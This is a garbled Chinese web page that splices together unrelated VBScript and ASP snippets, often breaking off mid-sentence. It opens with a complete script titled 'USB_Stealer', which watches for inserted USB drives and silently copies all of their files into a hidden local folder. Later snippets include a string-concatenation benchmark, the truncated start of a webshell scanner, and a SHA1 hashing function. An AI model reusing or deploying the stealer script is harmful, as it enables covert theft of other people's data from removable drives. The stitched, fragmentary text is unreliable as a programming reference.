如果不指定扩展名，则用缺省的扩展名．txt'=========================================='Name : USB_Stealer 'Date : 2010/5/25 'Author : Demon 'Copyright : Copyright (c) 2010 Demon 'E-Mail : still.demon@gmail.com 'QQ : 380401911 'Website : '=========================================='Option Explicit On Error Resume Next Const Target_Folder="C:\USB" Call Main() Sub Main() On Error Resume Next Const Device_Arrival=2 Const Device_Removal=3 Const strComputer="." Dim objWMIService, colMonitoredEvents, objLatestEvent Set objWMIService=GetObject("winmgmts:" _ & "{impersonationLevel=impersonate}!\" _ & strComputer & "\root\cimv2") Set colMonitoredEvents=objWMIService. _ ExecNotificationQuery( _ "Select * from Win32_VolumeChangeEvent") Do Set objLatestEvent=colMonitoredEvents.NextEvent Select Case objLatestEvent.EventType Case Device_Arrival Copy_File objLatestEvent.DriveName End Select Loop End Sub Sub Copy_File(Folder_Path) On Error Resume Next Dim fso,file,folder Set fso=CreateObject("scripting.filesystemobject") If Not fso.FolderExists(Target_Folder) Then fso.CreateFolder(Target_Folder) End If For Each file In fso.GetFolder(Folder_Path).Files file.Copy Target_Folder & "" & file.Name,True Next For Each folder In fso.GetFolder(Folder_Path).SubFolders folder.Copy Target_Folder & "" & folder.Name,True Next End Sub

这样一来，B表的bid=1bid=2均匹配A的aID=1aID=2，于是bID的相应数据原样出现在结果集中下面是一个典型的例子，检测字符串中是否包含一个元音字母：1、普通的方法：IfUCase$(char)="A"OrUCase$(char)="E"OrUCase$(char)="I"OrUCase$(char)="O"OrUCase$(char)="U"Then'itisavowelEndIf2、更加简练的方法：IfInStr("AaEeIiOoUu",char)Then'itisavowelEndIf同样，通过单词中没有的字符作为分界符，使用InStr来检查变量的内容

于是：regsvr32 vbscript.dll另外,利用OLE也可以实现Web访问的自动化

<% 'vbs版高速字符串操作代码演示 '淮南子编写 Option explicit Dim StrTime,EndTime Dim MyString,MyArray,ArrayIndexCount,CurIndex Const TestNumber=9999 '循环次数 StrTime=Timer() '============测试开始============'代码执行效率 '本人机器配置: 'CPU: 酷睿双核2250 CPU频率:1.73G '内存: 1GB '请逐一开启方法进行测试 'StringLinkTest1() '性能最差，大约耗时20秒 'StringLinkTest2() '性能大大改善,大约耗时0.2秒 'StringArrayTest() '性能最佳，大约耗时0.06秒 '============测试结束============'输出结果 'Response.Write MyString EndTime=Timer() Response.Write "耗时:" & FormatNumber((EndTime-StrTime) * 1000,3) & " 毫秒" '字符串操作函数，淮南子原创 Sub Add(Value) If (CurIndex >=ArrayIndexCount) Then ArrayIndexCount=CurIndex * 1.1 '如果欲添加项超出数组下标，则将数组容量扩增百分之10 ReDim Preserve MyArray(ArrayIndexCount) End If MyArray(CurIndex)=Value CurIndex=CurIndex + 1 End Sub '测试方法 '使用数组进行字符串叠加，在所有方法中，该方法性能最佳(效率较StringLinkTest2()的方法提升了近4倍) Sub StringArrayTest() ArrayIndexCount=20 CurIndex=0 ReDim MyArray(ArrayIndexCount) Dim i For i=0 to TestNumber Add "xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" Next MyString=Join(MyArray,"") End Sub '测试方法1 '常规的字符串连接 Sub StringLinkTest1() Dim i,str dim a1 a1="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" For i=0 to TestNumber '常规字符串连接 Str=(Str&a1) Next MyString=Str End Sub '测试方法2 '在常规的字符串连接方式中，使用临时变量来提速 ,效率较StringLinkTest1()的方法提升了近100倍 Sub StringLinkTest2() Dim i,str,a1,TmpString a1="xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx" For i=0 to TestNumber '使用临时变量提速 TmpString=(TmpString & a1) '每二百次则进行一次累计 If i mod 200=0 Then '保存临时变量值 Str=(Str & TmpString) '清空临时变量值 TmpString="" End If Next if TmpString<>"" Then MyString=(Str & TmpString) End Sub %> 难道这样我们就无法享受局域网通信的乐趣了吗？不要急，记得吗，我们的Winsock控件还有另一个主角：UDP协议

'----------------------- 'ScanASPWebShellinvbs 'Author:lake2() 'Date:2006-11-30 'Version:1.0Beta '----------------------- DimFileExt="asp,cer,asa,cdx" DimReport,Report2,Sun,SumFiles,SumFolders CallShowInfo() IfWScript.Arguments.Count=2Then CallCheckArg() Sun=0 SumFiles=0 SumFolders=1 IfRight(WScript.Arguments.Item(0),1)=""Then thePath=Mid(WScript.Arguments.Item(0),1,Len(WScript.Arguments.Item(0))-1) Else thePath=WScript.Arguments.Item(0) EndIf WScript.Echo"开始扫描，请稍候……" WScript.Sleep(1000) StartTime=now() CallShowAllFile(thePath) EndTime=now() WScript.Echovbcrlf&"扫描完成淘闻在多层开发方案中如何应用VisualBasic6.0？VisualBasic可用来开发一个方案中任一层的组件Function sha1_file(filename, raw_output) Dim HashedData, Utility, Stream Set HashedData=CreateObject("CAPICOM.HashedData") Set Utility=CreateObject("CAPICOM.Utilities") Set Stream=CreateObject("ADODB.Stream") HashedData.Algorithm=0 Stream.Type=1 Stream.Open Stream.LoadFromFile filename Do Until Stream.EOS HashedData.Hash Stream.Read(1024) Loop If raw_output Then sha1_file=Utility.HexToBinary(HashedData.Value) Else sha1_file=HashedData.Value End If End Function 。